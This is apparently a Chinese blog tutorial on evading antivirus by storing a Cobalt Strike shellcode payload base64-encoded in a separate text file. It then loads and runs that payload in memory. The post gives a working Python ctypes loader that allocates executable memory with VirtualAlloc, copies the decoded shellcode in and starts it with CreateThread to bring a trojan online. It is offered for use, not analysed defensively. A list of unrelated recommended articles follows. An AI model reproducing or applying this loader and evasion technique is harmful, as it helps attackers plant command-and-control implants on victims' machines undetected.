无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
QXWZ_IA1 小时前
具身智能巡检机器人推荐:三类形态的适用场景与组合
人工智能·安全·机器人
king13598745502 小时前
Pydantic Pax 0.75.0 安装与 Harness 工程评估:Code Mode、成本及安全边界
人工智能·安全·aigc·ai编程
艾莉丝努力练剑20 小时前
【AI大模型接入SDK】解决Unicode码转化以及界面变形问题
前端·c++·人工智能·学习·安全·架构
国科安芯1 天前
可信的电流:ASP4644S2B电源模块与星载电子供应链网络安全防护体系
网络·安全·web安全·架构·芯片·抗辐射
QXWZ_IA1 天前
无人机巡检油气管道推荐什么型号:固定翼与多旋翼的载荷与航时权衡
人工智能·安全·无人机
kitsch0x971 天前
MITRE Engage 中的网络欺骗
安全·web安全·php
Joy T2 天前
Spring Security 从 Acegi 到 AI Agent——JWT、角色鉴权与异步任务安全实战
人工智能·安全·spring·spring security·json web token·securitycontext·多次鉴权
qq_谁赞成_谁反对2 天前
甲方IT的成长之路--安全远程管理工具及组件--2604
安全
QXWZ_IA2 天前
管道阴极保护数据无法实时回传怎么办:五种通信链路怎么选
人工智能·安全
如夏倾城2 天前
WAF (Web Application Firewall,Web应用防火墙)
前端·网络·安全·web安全·web app